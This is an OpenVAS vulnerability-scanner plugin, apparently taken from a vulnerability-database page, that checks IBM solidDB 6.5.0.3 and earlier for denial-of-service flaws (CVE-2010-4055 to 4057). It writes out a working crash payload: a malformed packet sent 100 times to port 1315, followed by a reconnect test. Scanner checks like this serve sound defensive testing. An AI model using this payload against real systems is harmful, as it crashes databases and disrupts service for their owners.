Lucene search

K
openvasCopyright (c) 2010 Greenbone Networks GmbHOPENVAS:801531
HistoryApr 11, 2011 - 12:00 a.m.

IBM solidDB Packets Processing Denial of Service Vulnerabilities

2011-04-1100:00:00
Copyright (c) 2010 Greenbone Networks GmbH
plugins.openvas.org
11

EPSS

0.025

Percentile

90.2%

This host is running IBM solidDB and is prone to multiple Denial
of Service vulnerabilities.

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_ibm_soliddb_dos_vuln.nasl 7029 2017-08-31 11:51:40Z teissa $
#
# IBM solidDB Packets Processing Denial of Service Vulnerabilities
#
# Authors:
# Antu Sanadi <[email protected]>
#
# Copyright:
# Copyright (c) 2010 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation will let the remote unauthenticated
attackers to crash an affected process or consume CPU resources, creating a
denial of service condition.

Impact Level: Application";

tag_affected = "IBM solidDB version 6.5.0.3 and prior";

tag_insight = "Multiple flaws caused by input validation, stack exhaustion and
NULL pointer dereference errors in 'solid.exe' when processing malformed packets
sent to port 1315/TCP.";

tag_solution = "Apply the relevant updates. For more details refer,
http://www-01.ibm.com/support/docview.wss?uid=swg27021052";

tag_summary = "This host is running IBM solidDB and is prone to multiple Denial
of Service vulnerabilities.";

if(description)
{
  script_id(801531);
  script_version("$Revision: 7029 $");
  script_tag(name:"last_modification", value:"$Date: 2017-08-31 13:51:40 +0200 (Thu, 31 Aug 2017) $");
  script_tag(name:"creation_date", value:"2011-04-11 14:40:00 +0200 (Mon, 11 Apr 2011)");
  script_cve_id("CVE-2010-4055", "CVE-2010-4056", "CVE-2010-4057");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_name("IBM solidDB Packets Processing Denial of Service Vulnerabilities");
  script_xref(name : "URL" , value : "http://securitytracker.com/id?1024597");
  script_xref(name : "URL" , value : "http://xforce.iss.net/xforce/xfdb/62590");
  script_xref(name : "URL" , value : "http://www.exploit-db.com/exploits/15261");
  script_xref(name : "URL" , value : "http://www.vupen.com/english/advisories/2010/2715");
  script_xref(name : "URL" , value : "http://aluigi.altervista.org/adv/soliddb_1-adv.txt");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (c) 2010 Greenbone Networks GmbH");
  script_family("Denial of Service");
  script_dependencies("find_service.nasl");
  script_require_ports(1315);
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  exit(0);
}


## default server port
sdbport = "1315" ;
if(!get_port_state(sdbport)){
  exit(0);
}

if(safe_checks()){
  exit(0);
}

## Open TCP Socket
soc = open_sock_tcp(sdbport);
if(!soc){
  exit(0);
}

for(i=0; i<100; i++)
{
  raw_packet= raw_string(0x02, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00,
			 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			 0x00, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
        	 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
		  	 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
		  	 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc,
			 0x3a, 0x00, 0x00, 0xfc, 0x3a, 0x00, 0x00, 0xfc);

  send(socket:soc, data:raw_packet);
}

sleep(5);

soc = open_sock_tcp(sdbport);
if(!soc){
 security_message(0);
}

EPSS

0.025

Percentile

90.2%